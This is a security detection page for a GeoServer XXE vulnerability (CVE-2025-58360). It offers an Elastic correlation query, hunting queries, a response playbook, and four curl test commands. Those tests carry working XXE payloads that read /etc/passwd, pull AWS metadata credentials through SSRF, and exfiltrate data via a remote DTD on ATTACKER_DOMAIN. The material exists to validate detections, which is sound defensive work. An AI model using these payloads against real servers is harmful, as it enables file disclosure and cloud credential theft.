Detect OSGeo GeoServer XXE Injection Exploitation Attempt in Elastic Security
Detects exploitation attempts targeting CVE-2025-58360, an Improper Restriction of XML External Entity (XXE) Reference vulnerability in OSGeo GeoServer. Attackers can submit malicious XML payloads to GeoServer endpoints to perform server-side request forgery, read local files, or exfiltrate data via out-of-band DNS/HTTP channels. This CVE is listed on CISA's Known Exploited Vulnerabilities catalog.
MITRE ATT&CK
Elastic Detection Query
sequence by source.ip with maxspan=5m
[network where network.protocol == "http"
and http.request.method in ("POST", "PUT")
and url.path : ("*/geoserver/wfs*", "*/geoserver/wcs*", "*/geoserver/wms*", "*/geoserver/ows*")
and (
http.request.body.content : ("*<!ENTITY*", "*SYSTEM *", "*<!DOCTYPE*", "*file://*", "*jar://*", "*netdoc://*")
or http.request.body.bytes > 512
)
]
[network where network.direction == "egress"
and destination.port in (80, 443, 53, 389, 636)
and not destination.ip : ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
] Correlates GeoServer XXE injection attempts with subsequent outbound network connections from the server, a common pattern for out-of-band XXE data exfiltration via DNS or HTTP channels.
Data Sources
Required Tables
False Positives & Tuning
- GeoServer instances that routinely fetch remote schemas or WMS capabilities from external servers during legitimate operations
- Monitoring agents generating outbound connections concurrent with XML processing
- GeoServer tile caching or cascading WMS configurations that trigger outbound HTTP requests
Other platforms for CVE-2025-58360
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1GeoServer XXE File Disclosure via WFS Request
Expected signal: Web server access log entry showing POST to /geoserver/wfs with 400/500 HTTP response status; GeoServer application log entry with SAXParseException or EntityException referencing file:///etc/passwd; network packet capture showing the XML payload in request body.
- Test 2GeoServer XXE SSRF to Cloud Metadata Endpoint
Expected signal: Outbound HTTP GET request from the GeoServer host to 169.254.169.254 visible in network flow logs or host-based network monitoring; web server log showing POST to /geoserver/wcs with the XXE payload.
- Test 3GeoServer Blind XXE Out-of-Band DNS Exfiltration
Expected signal: Outbound DNS resolution and HTTP GET request from GeoServer host to ATTACKER_DOMAIN visible in DNS logs and network flow telemetry; GeoServer application log may show entity resolution attempts or DTD fetch errors.
- Test 4GeoServer XXE via WMS GetMap Request with Malicious SLD
Expected signal: Web server access log showing GET to /geoserver/wms with SLD_BODY parameter containing DOCTYPE and ENTITY declarations; GeoServer log showing SLD parsing error with reference to file:///etc/hostname.
Response Playbook
Triage
- Identify the source IP and user-agent of the suspicious request; correlate against known scanner signatures, threat intel feeds, and prior GeoServer exploitation campaigns (particularly those following CVE-2024-36401 and CVE-2024-36404 patterns).
- Examine the full XML payload in the request body to determine XXE attack stage: file disclosure (file:// references), SSRF (internal IP or cloud metadata URLs), blind out-of-band (external DNS/HTTP callback domains), or denial of service (entity expansion/billion laughs).
- Check GeoServer application logs (geoserver.log) for corresponding error messages such as SAXParseException, ExternalEntityException, or unexpected file-not-found errors that correlate with the attack timestamp.
- Identify which GeoServer version is running on the affected host; check if it is within the vulnerable range per the security advisory at GHSA-fjf5-xgmq-5525 and whether the XML parser has external entity resolution disabled.
Containment
- Immediately block the attacker's source IP at the perimeter firewall or WAF and apply a temporary rule blocking POST/PUT requests to /geoserver/wfs, /geoserver/wcs, and /geoserver/ows from untrusted networks pending patch validation.
- If exploitation is confirmed (e.g., evidence of file read or SSRF), isolate the GeoServer host from the network to prevent data exfiltration, and revoke any credentials or API keys accessible from the GeoServer process environment or accessible files.
Evidence Collection
- Preserve GeoServer application logs (/opt/geoserver/data/logs/geoserver.log or equivalent), web server access logs, and WAF logs covering the attack window; capture raw HTTP request/response bodies if available.
- Collect a memory dump or heap dump of the running GeoServer JVM process to identify any in-memory artifacts from the XXE payload, and capture network packet captures (PCAP) from the affected host's network interface for the attack timeframe.
Escalation Criteria
- !Escalate immediately if the XXE payload references internal cloud metadata endpoints (169.254.169.254, fd00:ec2::254) or internal network addresses, indicating active SSRF lateral movement attempts.
- !Escalate if outbound DNS or HTTP requests to attacker-controlled domains are observed from the GeoServer host following the injection, indicating successful out-of-band XXE data exfiltration.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
GeoServer application log entries containing SAXParseException, EntityExpansionLimitExceededException, or references to external URIs resolved during XML parsing - >
JVM DNS resolution logs or OS-level DNS query logs showing resolution of attacker-controlled domains shortly after XML processing - >
File system access logs (auditd on Linux) showing the GeoServer process (typically running as 'geoserver' or 'tomcat' user) reading sensitive files like /etc/passwd, /etc/shadow, or application configuration files
Tuning Guidance
Reduce false positives by allowlisting known GIS client IP ranges (QGIS, ArcGIS Server, internal ETL pipelines) that legitimately POST XML to GeoServer WFS endpoints. Increase confidence by requiring at least two XXE-specific indicators in the same request (e.g., both <!DOCTYPE and SYSTEM). For environments with WAF capabilities, consider decoding URL-encoded and base64-obfuscated payloads before matching. If GeoServer is only accessed internally, any external source IP hitting these endpoints should be treated as high confidence regardless of payload content.
Hunting Queries
Hunt for elevated volumes of POST/PUT requests to GeoServer endpoints over the past 7 days that may indicate scanning, automated exploitation, or repeated exploitation attempts not yet flagged by the primary detection rule.
CommonSecurityLog
| where TimeGenerated > ago(7d)
| where RequestURL has "/geoserver/"
| where RequestMethod in ("POST", "PUT")
| summarize RequestCount=count(), UniquePayloads=dcount(RequestBody), SourceIPs=make_set(SourceIP) by bin(TimeGenerated, 1h), DestinationIP
| where RequestCount > 5
| order by RequestCount desc index=web sourcetype IN ("access_combined", "iis") uri_path="*/geoserver/*" method IN ("POST", "PUT") earliest=-7d
| stats count AS requests, dc(src_ip) AS unique_sources, values(uri_path) AS endpoints by dest_ip, date_hour
| where requests > 5
| sort -requests Atomic Red Team Tests
Simulates a basic XXE file read attack against GeoServer's WFS endpoint by submitting a crafted XML payload with a file:// entity reference targeting /etc/passwd. Tests whether the server processes external entities and returns file contents in the error message or response.
Command
curl -s -X POST 'http://TARGET_GEOSERVER:8080/geoserver/wfs' \
-H 'Content-Type: application/xml' \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<wfs:GetFeature xmlns:wfs="http://www.opengis.net/wfs" service="WFS" version="1.0.0">
<wfs:Query typeName="&xxe;"/>
</wfs:GetFeature>' Cleanup
No cleanup required; this is a read-only test that does not modify server state. Expected Telemetry
Web server access log entry showing POST to /geoserver/wfs with 400/500 HTTP response status; GeoServer application log entry with SAXParseException or EntityException referencing file:///etc/passwd; network packet capture showing the XML payload in request body.
Expected Detection
Alert triggered on POST to /geoserver/wfs containing both <!DOCTYPE and file:// patterns matching the XXE detection signature.
Tests whether a GeoServer XXE vulnerability can be leveraged for SSRF against the AWS EC2 instance metadata service, a common post-exploitation step for credential theft in cloud environments.
Command
curl -s -X POST 'http://TARGET_GEOSERVER:8080/geoserver/wcs' \
-H 'Content-Type: application/xml' \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<wcs:GetCoverage xmlns:wcs="http://www.opengis.net/wcs" service="WCS" version="1.1.1">
<ows:Identifier>&ssrf;</ows:Identifier>
</wcs:GetCoverage>' Cleanup
No cleanup required; this test only makes a read request to the metadata service. Expected Telemetry
Outbound HTTP GET request from the GeoServer host to 169.254.169.254 visible in network flow logs or host-based network monitoring; web server log showing POST to /geoserver/wcs with the XXE payload.
Expected Detection
Alert triggered on POST to /geoserver/wcs containing SYSTEM and http:// patterns, plus secondary alert on outbound connection from GeoServer process to 169.254.169.254.
Tests blind XXE exploitation where no content is returned in the HTTP response but data is exfiltrated via DNS lookup to an attacker-controlled domain. Uses a parameter entity to trigger DNS resolution of a crafted subdomain encoding exfiltrated data.
Command
# Replace ATTACKER_DOMAIN with a DNS logging domain (e.g., Burp Collaborator or interactsh)
curl -s -X POST 'http://TARGET_GEOSERVER:8080/geoserver/ows' \
-H 'Content-Type: application/xml' \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://ATTACKER_DOMAIN/xxe-dtd.xml">
%remote;
%payload;
%send;
]>
<wfs:GetCapabilities xmlns:wfs="http://www.opengis.net/wfs" service="WFS"/>' Cleanup
Remove the DTD file hosted on the attacker infrastructure after the test. No server-side cleanup required. Expected Telemetry
Outbound DNS resolution and HTTP GET request from GeoServer host to ATTACKER_DOMAIN visible in DNS logs and network flow telemetry; GeoServer application log may show entity resolution attempts or DTD fetch errors.
Expected Detection
Alert triggered on POST to /geoserver/ows with % parameter entity patterns and external domain references; secondary alert on unexpected outbound HTTP/DNS from the GeoServer process to an external domain.
Tests XXE injection through GeoServer's Styled Layer Descriptor (SLD) parameter in a WMS GetMap request, an alternative attack surface beyond the commonly tested WFS endpoint.
Command
curl -s -G 'http://TARGET_GEOSERVER:8080/geoserver/wms' \
--data-urlencode 'SERVICE=WMS' \
--data-urlencode 'VERSION=1.1.1' \
--data-urlencode 'REQUEST=GetMap' \
--data-urlencode 'SLD_BODY=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><StyledLayerDescriptor version="1.0.0"><NamedLayer><Name>&xxe;</Name></NamedLayer></StyledLayerDescriptor>' \
--data-urlencode 'BBOX=-180,-90,180,90' \
--data-urlencode 'WIDTH=256' \
--data-urlencode 'HEIGHT=256' \
--data-urlencode 'FORMAT=image/png' Cleanup
No cleanup required; this is a read-only request. Expected Telemetry
Web server access log showing GET to /geoserver/wms with SLD_BODY parameter containing DOCTYPE and ENTITY declarations; GeoServer log showing SLD parsing error with reference to file:///etc/hostname.
Expected Detection
Alert triggered on request to /geoserver/wms containing XXE patterns in query parameters, covering the WMS attack surface not addressed by POST-only detections.